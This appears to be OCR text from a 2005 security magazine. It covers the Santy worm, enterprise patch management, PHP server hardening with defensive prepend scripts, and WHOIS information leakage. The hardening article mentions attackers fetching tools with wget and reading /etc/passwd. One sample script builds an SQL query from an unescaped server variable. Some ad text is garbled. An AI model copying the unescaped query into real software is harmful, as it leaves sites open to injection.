application to propagate itself. However, 
luckily the worm, which was a first of its 
kind, did not cause too much damage be- 
cause it had some fundamental problems. 
1 . The worm had a re-infection issue. Since 
it used Google to find vulnerable hosts, it 
used the same search query for each vic- 
tim, which always returned the same 
search results so it could never really 
propagate to a lot of hosts. 2. It was de- 
pendent on Google for its victim list and 
used a very static query to retrieve the 
search result. Google was notified and thus 
corrected the issue so the search query 
that was used was then denied. Still with 
these very obvious defects in the nature of 
the worm, Santy still infected over 1 0,000 
Web sites, defacing each of them. 
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Tackling the Potential Infesta- 
tion of Web Application Worms 

The solution to Web application worms and 
worms in general is to fix the problem that 
the worm uses to propagate. Application 
firewalls and assessment tools can be a 
good start, but the real solution is to get 
the individuals who create software to 
consider security as a fundamental build- 
ing block in developing software. Develop- 
ers who design and build business- 
enabling applications generally are not se- 
curity experts and therefore do not know 
how to avoid creating defects that are so 



easily exploited by hackers. These applica- 
tions tend to be pushed into production 
with little or no security testing. Just as 
with the network layer, companies must 
now view the application-layer as a poten- 
tially open portal to corporate assets and 
therefore need to implement the neces- 
sary security procedures across the appli- 
cation life-cycle to ensure that critical as- 
sets are secure from such new attacks as 
application worms. With more than one mil- 
lion new Web applications being launched 
each month and successful hacker attacks 
in the news each week; application security 
should no longer be an afterthought for 
any organization looking to remain viable. 



Caleb Sima is the co-founder and CTO of SPI Dynamics, the expert in Web application security assessment 
and testing. Caleb is responsible for directing the life-cycle of the company's Web application security solu- 
tions and is the director of SPI Labs. Caleb has been engaged in the Internet security arena since 1 996, a time 
when the concept of Internet security was just emerging. Since then, he has become widely recognized within 
the industry as an expert in penetration (pen) testing, and for identifying emerging security threats. In early 
2000 Caleb co-founded SPI Dynamics and helped define the direction Web application security has taken in 
the industry. 



We have 10 years of Linux experience and we wrote the leading book 
□n Linux security, "Real World Linux Security. Second Edition". 



Our low cost yet highly effective Firewalls, Virus and spam filters, 
VPNs and backup solutions protect multinationals, government 
agencies, and small companies around the world. 
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Black Hat Briefings & Training USA 2005 

23 July-28 July 2005 - Caesars Palace, Las Vegas, USA 

www.blackhat.com 



SIG SIDAR Conference on Detection of Intrusions and Malware & Vulnerability As- 
sessment (DIMVA 2005) 
7 July-8 July 2005 - Vienna, Austria 
www.dimva.org/dimva2005 

The 4th European Conference on Information Warfare and Security (ECIW 2005) 
1 1 July-1 5 July 2005 - University of Glamorgan, United Kingdom 
www.academic-conferences.org 

14th USENIX Security Symposium 

31 July-5 August 2005 - Sheraton Inner Harbor Hotel, Baltimore, MD, USA 
http://www.usenix.org/events/sec05 

Crypto 2005 

14 August-18 August 2005 - University of California, Santa Barbara, California, USA 
s 1 .iacr.org/conferences/crypto2005 

8th Information Security Conference (ISC'05) 
21 September-23 September 2005 - Singapore 
isc05.i2r.a-star.edu.sg 

The 4th International Workshop for Applied PKI (IWAP'05) 
21 September-23 September 2005 - Singapore 
wap05.i2r.a-star.edu.sg 
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\ ^JoWard the strahijjic" security imperative; 
integrating automated patch and vulnerability 
agement into an Enterprise-wide environment 



Lane F. Cooper 



This article explores the trends that are creating requirements for 
a strategic -- rather than a tactical — approach to information se- 
curity, patch and vulnerability management among public and pri- 
vate sector organizations. It demonstrates how an integrated, 
automated and enterprise-wide strategy that uses best-of-breed 
security solutions can be most effectively integrated into the op- 
erations of organizations large and small. 



Despite the headlines, the conferences and 
the stated objectives of many large public 
and private organizations, many executives 
still wrestle with how to effectively deploy 
security measures that protect critical in- 
formation assets underpinning their mis- 
sion critical operations. It is the position of 
this article that the challenges many or- 
ganizations face in markedly reducing the 
risk posture of their organizations stem 
from a tactical understanding of risk and 
vulnerability assessment, perimeter secu- 
rity, threat remediation including anti- 
spyware, patch management and other 
critical security activities. 

Today, many organizations still treat each 
of these activities in a distinct and discrete 
manner, making it difficult to get a big pic- 
ture understanding of their risk posture, 



inhibiting their ability to respond appropri- 
ately and cost-effectively to threats. 

A Growing IT Target 

According to analysts at IDC, worldwide 
spending on information technology will 
grow at 6 percent a year through 2008 to 
reach 1 .2 trillion dollars, up from 965 Bil- 
lion in 2004. 

That increase in spending is an explicit 
recognition of the role IT plays in helping 
organizations to achieve their strategic 
business objectives. However, it also rep- 
resents a growing target of opportunity 
for those who wish to exploit our growing 
dependence on technology. This helps ex- 
plain why in the United States alone the 
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market for information security will grow 
at 1 9 percent a year through 2008, ac- 
cording to recent data from the Freedonia 
Group. That is more than three times the 
rate of the global IT spend. According to 
the Freedonia analysts, much of this 
growth will be driven by efforts to inte- 
grate security on an enterprise-wide basis. 

Security Still Afterthought 

It would seem that people are voting with 
their wallets, and acknowledging that secu- 
rity is indeed a strategic issue. But is there 
truly a broad strategic recognition of secu- 
rity's strategic imperative? Consider the 
following: 

• In the summer of 2004, a survey by the 
Conference Board revealed that almost 40 
percent of respondents consider security 
an overhead activity that must be mini- 
mized. 

• The situation appears no better in the 
public sector. Agencies in the federal gov- 
ernment continue to struggle with meeting 
the requirements of Federal Information 



Security Management Act (FISMA). In early 
2005, the Government Accounting Office 
(GAO), the investigative arm of Congress, 
concluded that poor information sharing 
and management was responsible for ex- 
posing homeland security to unacceptable 
levels of unnecessary risk. 

The problem illustrated by the above 
points is not one of effort or discipline. Mil- 
lions of dollars are invested on security 
technology and hundreds of thousands of 
man hours are brought to bear on protect- 
ing critical information assets by IT and 
security personnel. The problem, rather, is 
one of perspective. In both cases, security 
measures appear to be treated as stand- 
alone activities that are divorced from the 
technologies, business processes and in- 
formation assets they are meant to pro- 
tect. Security, in short, is treated by many 
organizations as an afterthought. 

According to PatchLink CEO Sean Moshir, 
"One of the greatest threats to enterprises 
today is that many — too many — organi- 
zations still consider security the lock they 
put on the door after the house gets built." 



ACCORDING TO RECENT RESEARCH FROM YANKEE GROUP, IT CAN 
COST AS MUCH AS $1 MILLION TO MANUALLY DEPLOY A SINGLE PATCH 
IN A 1 ,000-NODE NETWORK ENVIRONMENT 



The result is a tactical approach to secu- 
rity that is: 

• Fragmented, because it is implemented 
in a stove-piped fashion in different de- 
partments; 

• Manual or minimally automated, because 
point solutions cannot effectively interact 
with each other; 

• Disjointed, or at least not well integrated 
with the applications they are meant to 
protect; and finally 

• Blind, in the sense that is difficult to get 
a clear, complete and accurate picture of 
an organization's security posture. 

It is also costly. According to recent re- 
search from Yankee Group, it can cost as 
much as $1 million to manually deploy a 



single patch in a 1 ,000-node network envi- 
ronment. 

The firm has documented an instance in 
which an organization spent $2 million to 
rush a patch in a telecommunications net- 
work that had 500,000 nodes. 

"What contributes to these costs? It is the 
manual labor, the fixing of problems, the 
downtime for businesses while the patches 
are being deployed," explains Phebe 
Waterfield, Senior Analyst, Security Prac- 
tice, Yankee Group. 

Waterfield confirms that many organiza- 
tions remain highly reactive in their ap- 
proach to patch management, and there- 
fore have not developed automated and 
integrated strategies for making sure that 
the most current measures are in place 
within the enterprise to deal with known 
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threats to their IT assets. This contributes 
to a reactive and expensive approach to 
security that does not make progress to- 
ward the goal of reducing an organization's 
risk posture. 

A Changing Threat Picture 

Malicious hackers, authors of viruses and 
other sources of threats have become a 
major cost of doing business in the digital 
economy. Their handiwork is now covered 
by the mainstream media as well as the 
business and technology press. Their de- 
structive impact on the economy is meas- 
ured in the billions - if not trillions - of dol- 
lars. 

While organizations may be struggling with 
how to protect their information assets in 
an integrated and strategic manner, at- 
tackers do not suffer from this angst. 

We are seeing the rise of hybrid threats in 
which viruses are used as launching points 
for initiatives that are designed to gather 



sensitive corporate data and/or execute 
identity theft. 

For instance, spam is being used for phish- 
ing (an online con in which a "fake" site is 
set up to attract victims and solicit sensi- 
tive information from end-users), at which 
point spyware/malware or viruses are 
planted on consumer computers, while si- 
multaneously gathering information that 
makes it easier to hack into the networks 
of the organizations they are spoofing. 

As a result, we have seen attacks on en- 
terprise networks become much more so- 
phisticated and focused. 

"This is why a tactical approach to security 
simply doesn't cut it anymore - especially 
when the threat picture to digital assets in 
all enterprise environments has become so 
acute. Where once the hacker community 
may have been seen as kids playing 
games, today we see malicious activity that 
is profit driven in some cases, and guided 
by fanaticism in others," notes Moshir. 



WHILE ORGANIZATIONS MAY BE STRUGGLING WITH HOW TO PROTECT 
THEIR INFORMATION ASSETS IN AN INTEGRATED AND STRATEGIC MAN- 
NER, ATTACKERS DO NOT SUFFER FROM THIS ANGST 



A Strategic Response 

A growing number of large organizations 
are recognizing the imperative for the IT 
community in general — and the informa- 
tion security community in particular — to 
move away from a tactical perspective of 
their role, and become a more strategic 
element in their organizations. 

Thomson Financial Chief Information Secu- 
rity Officer (CISO) Tim Mathias explains, "In 
2004, our technical operations organiza- 
tion adopted ITIL [the IT Infrastructure Li- 
brary] to develop a long term strategy for 
providing IT services. We embraced an IT 
service management model that is a top- 
down, business-driven approach to the 
management of IT that specifically ad- 
dresses the strategic business value gen- 
erated by the IT organization and the need 
to deliver a high quality IT service. We im- 
mediately recognized that security man- 



agement touches a number of the high 
level processes including infrastructure 
and application management, service de- 
livery and service support. So we have in- 
tegrated our security operations into this 
service management paradigm." 

According to PatchLink's Moshir, an effec- 
tive strategic response to these threats 
must consist of four basic elements. It 
must be: 

• Enterprise-wide. Security efforts must 
be fully integrated throughout the entire 
enterprise ~ and in some cases the ex- 
tended enterprise — so that threats can be 
addressed in a unified manner. In its most 
simple sense, once a threat has been dealt 
with, the entire organization should be 
prepared to address it should it manifest 
itself again anywhere else within the do- 
main. 
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• Fully Automated and Integrated. Given 
the rapid pace of new threats and vulner- 
abilities, there is no room for a manual re- 
sponse. Security systems must be able to 
behave in an integrated manner. This 
means that perimeter security must be 
linked to intrusion detection systems, and 
that vulnerability assessment activities 
must be linked to remediation, and so on 
and so forth. 

• Dynamic. Information security should be 
seen as a business process ~ or better yet: 
as an integral part of all business proc- 
esses. As such it is not an event that can 
be installed and forgotten. Technology, 
people and evolving best processes must 
be constantly developed, tested, deployed 
and re-evaluated. 



• Visible, Measurable and Standardized. 
There should be nothing mysterious about 
the security strategy. It should be easy for 
non-technical executives to understand. 
The data gathered by sensors and report- 
ing tools should be presented in ways that 
are meaningful to the users who must 
make decisions based on that information. 
And the data must be standardized so that 
information from one security system 
makes sense to the rest of the organiza- 
tion. 

Moshir emphatically states, "From a man- 
agement standpoint, there must clarity and 
transparency within and between all secu- 
rity systems. After all you cannot effec- 
tively manage what you cannot see. 



Lane Cooper is the founder and director of Cooper Research Associates. He has over 1 5 years of experience 
as a reporter and editor analyzing the business and technology industry. Lane also broadcast The Washington 
News Bureau Technology Minute for WTOP radio, the top rated news and information station in the Washing- 
ton Metropolitan area. 



Increase Your 
Security Muscle 


O 

www.blackhst.CDin 


lit. 


\ 4§S j 


Black Hat" 

Briefings & Training USA 2005 

July 23 20, iD0& ■ C;iui;;jr:i Piil.ice L.i:. Vcgiiii 

Traininy: 4 d£syi_ 24 topics 
Brlenngs! 2 day*. 9 tracKs, so «peaK«re 


■l.n.riJ 

9 , * 

iw 

ifi i i ' nudncT#- nHGKur 


SlTtngilun ytuif defenses. Train your mind. Ismm ihx i (hivais nl (r>morfnw, loday, 
Mitt and network with thousands ol'ytmr peers at lln 1 Mack Jlat IJjMinjp USA 2005- 
Iheonly technical security uwsil [uufli-rymi Hit kst i>f all wurkfc. 



HNS SECURITY SOFTWARE DATABASE 



Get the largest selection of the best security software for 
Windows, Linux, Mac OS X and Pocket PC. platforms. 

1.7 MILLION DOWNLOADS SO FAR 
20 CAIEGOKILS 

www.net-security.org 





www.insecuremag.com 



25 



ability containment 




Advanced PHP security 

By Gavin Zuchlinski 




PHP application security begins with developers, but they are not the 
sole providers of protection; system administrators must also continu- 
ally maintain and properly configure their systems. 



For small servers default settings are per- 
missible, but as server complexity in- 
creases so do the nuances which plague 
secure configurations. Deploying third 
party applications without a full security 
analysis is often a mandatory risk. On 
shared servers even those who are allowed 
to add software may not be fully trusted. 
Fortunately many breaches may be miti- 
gated through secure configuration of 
PHP. 

Through the methods described here 
many common attacks can be avoided. By 
only using the PHP configuration options, 
successful exploitation by the Perl.Santy 
worm would have been impossible. Though 
many servers are forced to host web ap- 
plications like phpBB, the impact of faulty 
programming can be significantly de- 
creased. 

Session Security 

The default configuration is rife with vul- 
nerabilities on shared servers. One of the 



most overlooked vulnerabilities is session 
storage. PHP's handling of sessions from 
client attacks is quite secure; the only data 
the client sees is a unique identifier. A file 
on the server identified by the session id 
contains all of the session's variables. 

For example, on a default Linux setup 
there would be a cookie or GET variable 
containing PHPSESSID (whose value would 
look similar to 

3c070b5 1 97646bf 3deb30609f 0d4e7e8). 
On the server the corresponding file con- 
taining the session variables is /tmp/ 
sess_3c070b5 1 97646bf 3deb30609f 0d4e 
7e8 with read and write permissions for 
the webserver user, and no permissions 
for anyone else. 

It is easy to see that the session id is 
clearly visible in the filename. Any user 
who has read access to the session direc- 
tory can hijack sessions. On shared serv- 
ers this vulnerability is especially trivial to 
exploit, as an attacker can obtain an ac- 
count on the system. 
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Possibly more dangerous on a shared sys- 
tem is the ability for the attacker to read 
and modify cookie contents for any site 
hosted on the server. Because the PHP 
script is executed as the webserver user 
(who is also the owner of the session file) 
PHP scripts have permission to edit those 
files. 

There are several ways to solve this prob- 
lem, either through suPHP or the PHP con- 
figuration. suPHP runs PHP scripts under 
the context of the scripts owner, which will 
be different than the webserver user; 
therefore the problem is solved. Combining 
open_basedir and safe mode (discussed 
below) to restrict directory access along 

with session. save_path can effectively 
remove session files from the grips of us- 
ers, session. save_path sets the loca- 
tion where cookies are stored. Setting this 
to a directory out of open_basedir direc- 
tory tree with only read/write permission 
for the webserver user solves the problem. 

PHP Configuration 

Safe mode was introduced into PHP in an 
attempt to secure PHP in a shared server 
environment. Safe mode offers several 
new configuration options to improve se- 
curity, as well as imposing restrictions on 
many functions. To turn safe mode on, edit 



php.ini and set saf e_mode = On or set 

php_admin_f lag safe_mode = On 
within the virtual host. With nothing else 

changed security is already improved. 

Since PHP runs as the webserver user for 
every script, each site shares the same 
permission context. Because of this a 
script for one site can include files from 
another site all files, such as configuration 
files and database connection scripts, can 
be read and passwords or other sensitive 
information revealed. Safe mode attempts 
to rectify this problem; when a script ac- 
cesses a file, such as through f open ( ) , 
the user ID on the file is matched against 
the user id on the current executing script. 
If the IDs match, then the file is opened. 
Otherwise a warning is triggered. When 

fopen( ) is used to open /etc/passwd 
the following warning is displayed: 

Warning: fopen( ) 
[ function. f open] : SAFE MODE Re- 
striction in effect. The script 
whose uid is 1000 is not al- 
lowed to access /etc/passwd 
owned by uid 0 in 
/var /www/index. php on line 15 

Warning: fopen( /etc/passwd) 
[ function . f open ] : failed to 
open stream: Success in 
/var /www/index. php on line 15 



Safe mode was introduced into PHP in an attempt to secure PHP in a 

shared server environment. 



Turning on safe mode also enables the 
saf e_mode_exec_dir setting. Only ex- 
ecutables located in the directory specified 
by this setting can be executed. User id is 
not checked when executing and PHP fol- 
lows any symlinks in this directory. By de- 
fault it is set to nothing, so no executables 
are permitted. Adding only innocuous pro- 
grams to the safe mode executable direc- 
tory will prevent attacks due to flawed 
scripts allowing arbitrary command execu- 
tion (such as wget and running an at- 
tacker's tool set). Executables must be 
carefully scrutinized before they are added 



to the safe mode executable directory. 
Commands are not bound to user id 
checking, so permitting cat will allow an 
attacker to read other user's PHP files. At- 
tempting to run an executable not located 
in the safe mode executable directory 
does not trigger any warnings. PHP offers 
many settings beyond safe mode which 

can greatly bolster security. The setting 

open_basedir restricts file operations to 
the directory tree specified. Multiple base 
directories can be specified by separating 
them with a : on Linux or ; under Windows. 



www.insecuremag.com 



27 



A trailing slash must be specified if the 
directory is to match exactly. If there is no 
trailing slash any directories with the same 

beginning will be permitted. For example, if 

open_basedir = /home/ jo is set 

/home/ jo, /home/john, and /home/ 

jolly_saint_nick will all match. Virtual 

hosts can each have their own open_bas- 

edir setting by using php_admin_f lag 

open_basedir = /specified/ 
directory/ within Apache's virtual host 
configuration. 

Setting open_basedir = . will restrict 
file operations to the current working di- 
rectory of the script (and all directories 

beneath it in the tree, because open_bas- 

edir specifies the base of the directory 
tree to allow). This value is popular be- 
cause it allows for one setting to restrict a 



variety of different scripts. It is not suffi- 
cient for file restrictions (especially with- 
out safe mode on) because chdir ( ) can 
be used to change the working directory. If 
safe mode is on, the destination directory 
user id is verified that it matches the 
script's user id. 

Another solution to the change of direc- 
tory problem is to restrict the use of 

chdir ( ) . The disabled_f unctions 
setting, as the name suggests, lets admin- 
istrators specify a comma delimited list of 
restricted functions which scripts cannot 
use. These functions are disabled regard- 
less of safe mode. Setting dis- 

abled_f unctions = chdir will trigger 
a warning if the function is called: 

Warning: chdir ( ) has been dis- 
abled for security reasons in 
/var /www/index. php on line 15 



Many severe flaws in PHP scripts are due to PHP's developer friendly 

treatment of URLs as filenames. 



User defined functions are not affected by 

disabled_f unctions . 

Similar to disabled_f unctions, dis- 

abled_classes allows administrators to 
restrict the use of some classes. This set- 
ting is defined and operates like dis- 

abled_f unctions, it does not restrict 
user defined classes. 

Many severe flaws in PHP scripts are due 
to PHP's developer friendly treatment of 
URLs as filenames. Unwitting developers 

include ( ) (or use any functions of the 

f open ( ) variety) with user inputted vari- 
ables. Malicious input can cause the func- 
tion to transparently include and execute a 

remote file. By setting allow_url_f open 

= Of f this variety of attack is forbidden. 

Since PHP 4.2.0 register_globals has 

defaulted to Off. It is strongly recom- 



mended that this setting remain off, ena- 
bling it can lead to dozens of vulnerabilities 
in an otherwise secure web application. 
Another common setting which can lead to 

new vulnerabilities if disabled is 

magic_quotes_gpc. This setting, which 
is on by default, automatically quotes any 
user input. This quoting protects from 
some types of SQL injection, and many de- 
velopers rely on it for security. While it 
does not prevent SQL injection entirely, it 
can prevent some attacks. Therefore, it is 
recommended that this setting remain en- 
abled. 

Customizing PHP's configuration can se- 
verely cripple entire classes of PHP vul- 
nerabilities. Restricting allowed executa- 

bles with saf e_mode_exec_dir will pre- 
vent the latest attacker's script from using 

wget to grab their tools. Safe mode is one 
necessity to securing a shared server. 
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Unfortunately on many systems which al- 
low shell access or unrestricted file brows- 
ing PHP files can still be read. Since the 
webserver user must be able to read the 
PHP files in order to execute them, many 
users are forced to enable world read 
permission on their scripts. There are sev- 
eral solutions including grouping each user 
individually with the webserver user, or 
removing world read and using ACL to al- 
low only the webserver read permission. 
There is another solution: suPHP. 

suPHP 

suPHP uses a setuid a wrapper for PHP to 
run scripts under the owner's account. By 
running PHP scripts as the owner of the 
script, different sites' scripts are no longer 
executed under the universal webserver 
user. Users can remove world read per- 
mission from their files (since PHP no 
longer requires this to read the files). 
Without world read malicious users with 
accounts on the shared server can no 
longer read another user's files. 



Installation of suPHP is relatively simple. 
However, with suPHP PHP is executed as 
CGI, this incurs slight performance penal- 
ties. On small servers the performance 
degradation is insignificant, but as the 
number of requests increases so does the 
performance hit. Luckily suPHP and 
mod_php coexist peacefully. 

With suPHP fully configured it is still not a 
replacement for configuration described in 
the previous section. Safe mode is argua- 
bly even more important now since any 
executables are run under a standard user 
account. This can provide attackers with 
greater privileges, and if the account is an 
administrator's account it allows for 
quicker privilege escalation. suPHP does 
significantly increase security in a shared 
environment. 

Combining the power of suPHP with PHP's 
configuration, many avenues of attack are 
eliminated or greatly limited in scope. 




suPHP does significantly increase security 

in a shared environment. 




Automatic script prepending 

PHP's auto_prepend_f ile can be crea- 
tively employed to improve security as well 
as enforce script policies. This setting 
specifies a PHP file which is automatically 
processed for every script before the 
script is executed. Security code which 
would otherwise be manually included in 
every file can be transparently executed 
with one configuration option. The similar 

option for appending, auto_ap- 

pend_f ile, is slightly less useful for se- 
curity purposes as execution has already 
finished when the file is included. 

A site wide prepend can be set through 
php.ini. For example, auto_pre- 
pend_file = 



/var/www/prepend.php. Setting a pre- 
pend file in htaccess, through php_value 

auto_prepend_f ile filename. php, 
overrides the global prepend file. If an ab- 
solute path is not specified for the file then 
the include path is searched. In the case 
where the prepended file cannot be found 
a warning will be triggered: 

Warning: Unknown: failed to 
open stream: No such file or 
directory in Unknown on line 0 

Warning: Unknown: Failed open- 
ing ' prepend. php 1 for inclusion 
( include_path= ' . : ' ) in Unknown 
on line 0 

After this warning execution of the script 
is stopped. The behavior is similar if PHP 
lacks permission to read the file. 
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Many applications have no need for HTML 
input, but there is no built in setting in PHP 
which will disallow it. In this case 

auto_prepend_f ile saves rewriting 



dozens of lines of code. Creating a pre- 
pend file with the following code transpar- 
ently strips HTML from user input (this 
stops cross site scripting attacks): 



<?php 

$old_error = error_reporting ( 0 ) ; 

$input_arrays = array ( ' _GET ' , '_POST' , ' _REQUEST ' , '_COOKIE' , ' _SERVER ' , 

' HTTP_GET_VARS ' , ' HTTP_POST_VARS ' , ' H T T P_S E RVE R_VAR S ' , ' HTTP_COOKIE_VARS ' ) ; 

f oreach ( $input_arrays as $array) 

{ 

f oreach ( $$array as $key=>$value) 
{ 

$$array [ $key ] = strip_tags ($ value ) ; 

} 

} 

error_reporting ( $old_error ) ; 
?> 



The goal of prepending files in this case is 
to provide completely transparent security 
to third party applications. 

PHP's magic quoting does not completely 
quote user input. The entire contents of 
$_SERVER, which contains some user 
modifiable variables, is exempt from quot- 
ing. This prepend will fix the flaw pre- 
sented below: 



<?php 




foreach($ SERVER as 


$key=>$value) 


{ 




$ SERVER [$key] 


= addslashes ( $value ) ; 


} 




?> 





The variable $input_arrays includes a 
list of the names of all PHP arrays which 
contain user input. Error reporting is 
turned off, then subsequently restored, to 

prevent premature output. For instance, if 

register_long_arrays was turned off 
then the HTTP_*_VARS variables would not 
exist and an error will be triggered. This 
can break any header or cookie functions 
(such as sessions) which exist in the script. 



The following code (that continues on the 
following page) solves an entirely different 
problem for site administrators, access 
restriction. This provides firewall like func- 



tionality at the application layer. Though 
the code uses a white-listing approach, it 
can be easily modified to do blacklisting 
instead. 



<?php 

function handle_violation ( $ip, $script ) 
{ 

// $ip attempted to access $script in violation access 
// controls 

// log this however you would like 

echo 'Permission denied. Access of script is restricted'; 
exit ( 0 ) ; 

} 
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$old_error = error_reporting ( 0 ) ; 
$permissions = f ile ( ' . / . htpermissions ' ) ; 
$allowed = 0; 

f oreach ( $permissions as $perm) 
{ 

list($script,$ip) = explode(' ',$perm); 
$ip = trim($ip) ; 

if($script == $_SERVER[PHP_SELF] ) 
{ 

if ( ($ip==' * ' ) || ( $_SERVER[REMOTE_ADDR]==$ip) ) 
{ 

$allowed = 1; 
break; 

} 

} 

} 

if ( !$allowed) 
{ 

handle_violat ion ( $_SERVER [ REMOTE_ADDR ] ,$script) ; 

} 

error_reporting ( $old_error ) ; 
?> 



An example .htpermissions file is: 

/ index. php * # allow everyone 
/admin. php 12 7.0.0.1 # only lo- 
calhost 

/admin. php 129.228.37.6 # or 
another IP 

An asterisk specifies anyone is allowed, 
otherwise the IP must match exactly. This 
is just one more tool to provide more rig- 
orous permissions in a web application 
without much extra code. 

Policy design and enforcement 

Management of large servers poses many 
security nightmares. With multiple users 
editing a variety of sites, new holes are in- 
troduced daily. Latent flaws in public appli- 
cations are continually being discovered 
and published. While previous sections 
were devoted to minimizing the overall risk 
flawed applications might incur, this sec- 
tion covers the principles of secure server 
policy. 

Every possible user input presents a new 
attack avenue. Decreasing the amount of 
possible inputs is often related to de- 
creased risk (though this is a very rough 
correlation in practice, the idea does hold 
merit). This reduction can be done by iden- 



tifying the possible users of an application 
and allowing only them access to what 
they require. 

Consider a web based discussion forum. 
Every user requires access to the scripts 
to view topics, log in, and post messages. 
So those scripts are not restricted. Only a 
select few need access to administration 
scripts. Before any data processing is 
done unauthorized users should be re- 
jected. While the script may do this suc- 
cessfully through its own authentication, 
the user space can be significantly culled 
long before it reaches the script. 

This restriction applies to the original 
tenet: reduce avenues of attack as much 
as possible. If the forum is a help forum 
for a companies product, only employees 
should manage it. 

Restrict access to these scripts either 
through .htaccess, prepend files, or 

whatever the easiest possible method is. 

Continuing with the forum example, there 
are some scripts which no user will ever 
access directly. Library files contain collec- 
tions of code to be used by other scripts. 
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To prevent information disclosure, these 
should be named with a .php suffix or dis- 
allowed entirely. Because restriction is of- 
ten machine specific, redistributable web 
applications often opt for libraries that end 
in .php. 

This violates the main tenet because a new 
avenue of attack has been created. To rec- 
tify this administrators should impose se- 
vere access restrictions. The previous 
section on script prepending offers a solu- 
tion to restrict access and log violations 
before the library code is parsed. 

Suppose a user has access to a server 
where they are developing an application 
(or installing a premade one). The server 
administrator would like to limit exposure 
of PHP scripts while still providing full ac- 
cess for the authorized developer. Once 
the application is completed or installed 
the administrator can then grant permis- 



sion the application to be published for 
the world to see. Through this authoriza- 
tion scheme an administrator can track 
which web applications are installed, the 
version, and their owner. This can be 
solved through transparent site wide pre- 
pending. However, the administrator might 
also wish to allow each user to transpar- 
ently prepend their own. 

The code on the following page does ex- 
actly that. A database provides a list of 
publicly allowed scripts. Any script not in 
the list is accessible only by the user from 

the IP listed in . htdeveloper which is 
contained in the directory of the script. 

This code can be modified to suit individual 
needs, such as an allowed IP per user ac- 
count, more powerful ACLs on IPs, or 
authentication to update the allowed IP. IP 
based authentication is used as it is least 
intrusive into script operation. 



<?php 

$old_error = error_reporting ( 0 ) ; 

$ips = f ile ( dirname ( $_SERVER[ SCRIPT_FILENAME ] ) . '/.htdeveloper' ) ; 

foreach($ips as $ip) 

{ 

$ip = trim($ip) ; 

if ( $_SERVER [ REMOTE_ADDR ] ==$ ip ) 
{ 

$allowed = 1; 
break; 

} 

} 

if ( !$allowed) 
{ 

$db = mysql_connect( ' localhost ',' user ',' pass ' ) or die ('Failed to con- 
nect to database ' ) ; 

mysql_select_db ( ' db_name ' ) or die ('Failed to select db'); 

if (mysql_num_rows (mysql_query( "SELECT script_name FROM allow- 
ed_scripts WHERE script_name= ' $_SERVER[ SCRIPT_FILENAME ] ' " ) ) ) 

{ 

$allowed = 1; 

} 

mysql_close( $db) ; 

} 

if ( !$allowed) 
{ 

echo "Script is unavailable to the public<br>\n" ; 
exit ( 0 ) ; 

} 

error_reporting ( $old_error ) ; 
@ include ( ' . /prepend. php ' ) ; 

?> 
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Set the database username, password, 
host, and database to their appropriate 
values. A database is used to check for 
globally allowed scripts because safe mode 
user ID checking would break file based 
lookup. 

The file . ht developer located in the 
same directory as the script contains an IP 
on every line which is an allowed IP to ac- 
cess the script. 

The user can still provide their own pre- 
pend file as prepend . php located in the 
same directory as the script. 



Conclusion 

Administrators may be forced to run po- 
tentially faulty code, but they are not de- 
fenseless. By using the many options PHP 
provides any vulnerabilities can be con- 
tained. These methods are not a replace- 
ment for secure programming, they only 
serve to thwart an attacker until a patch is 
made. Creating a strong policy on script 
access reduces possible attack vectors 
which further limits the potential for suc- 
cessful exploitation of a vulnerability. Se- 
cure programming, configuration, and pol- 
icy is the foundation for a solid and secure 
server. 
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There is a significant amount of public information available for any 
organization with an Internet presence or connectivity. Because this in- 
formation is a required disclosure in many cases, it cannot be re- 
moved, yet some of this information could be used against the organi- 
zation by persons with malicious intent. The goal of this article is to 
help identify and provide means for securing sources publicly avail- 
able information on the Internet. 



For the purposes of this article, we will use the 
fictitious company NoNotReal, Inc. as an example 
and assume that it owns the fictitious domain 
nonotreal.com, and has been assigned the Internet 
address space of 1 92.1 68.33.0/24. We'll also as- 
sume that the main phone number for NoNotReal 
Inc. is 570-41 1-5500. 

Securing WHOIS Information 

When a domain name is registered on the Internet, 
the registrar is required to collect certain informa- 
tion from the organization with regards to contact 
information, which is intended to be used for per- 



sons needing to contact the organization with ad- 
ministrative, technical, or billing questions. While 
this information may be seemingly innocuous, it 
can be quite valuable to an attacker. Collecting 
WHOIS information is a relatively simple task. 
Most Linux distributions include a WHOIS client in 
the default install and there are dozens of web- 
based WHOIS tools such as Network Solutions and 
Sam Spade. 

The following information is fictitious, but repre- 
sentative of the information that would be col- 
lected using the command "whois nonotreal.com" 
on Linux: 
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whois netsol.com 

[Querying whois.internic.net] 



tect against this type of leakage, use a generic 
mailbox such as "dnsadmin". 



Registrant : 
NoNotReal, INC 
NoNotReal, Inc. 
5432 Broad St. 
HERNDON, VA 20171 
US 

Domain Name: N0N0TREAL.COM 

Administrative Contact 
Technical Contact: 

Jones, Bob bob.jones@nonotreal.com 

NoNotReal INC 

5432 Broad St. 

HERNDON, VA 20171 

US 

570-411-5523 fax: 570-411-5517 

Record expires on 02-Feb-2009. 
Record created on 31-Jan-1998. 
Database last updated on 8-May-2005 
09:45:20 EDT. 

Domain servers in listed order: 



NS 1 . NONOTREAL . COM 
NS 2 . NONOTREAL . COM 
NS 3 . NONOTREAL . COM 



192.168.33.228 
192.168.33.229 
192.168.33.230 



Does anything seem to be out of the ordinary 
here? Not really. However, examine the informa- 
tion from an attacker's point of view. From this 
small amount of publicly available information the 
attacker has been able to ascertain: 

1 ) Bob Jones is the name of a person who most 
likely works in the IT Dept. He probably manages 
the DNS information and depending on the size of 
the organization he may handle network equip- 
ment configuration as well. By identifying an indi- 
vidual personally, the attacker may be able to use 
the identity of Bob Jones in social engineering at- 
tacks, or worse target Bob Jones for blackmail or 
other personal attacks as a means for leveraging 
Jones' authorization to further nefarious plots. To 
protect against this type of leakage, identify a title 
or function as the contact person, instead of using 
a real person by name. 

2) bob.jones@nonotreal.com is probably a valid e- 
mail address within the organization (and it should 
be, for obvious reasons). It also implies that the e- 
mail address naming convention for NoNotReal is 
first.last@nonotreal.com, which might help the at- 
tack discern e-mail addresses for other personnel. 
It also presents the attacker with a target address 
for probing NoNotReal's e-mail services. To pro- 



3) Valid phone numbers for NoNotReal probably 
include 570-41 1-5523 and 570-41 1-5517. The 
attacker can use these to target a war-dialing at- 
tack on the organization. Because a fax number is 
listed, the attacker might get lucky and discover 
that the number belongs to a fax modem con- 
nected to a vulnerable PC. Unfortunately, there 
isn't much that can be done to protect against the 
leakage of phone numbers. It is usually adequate 
to list the organization's main telephone number 
here and instruct the operator accordingly. For 
the truly paranoid, a separate non-DID POTS line 
that is not located near the organization's actual 
phone numbers can be used, but this is rendered 
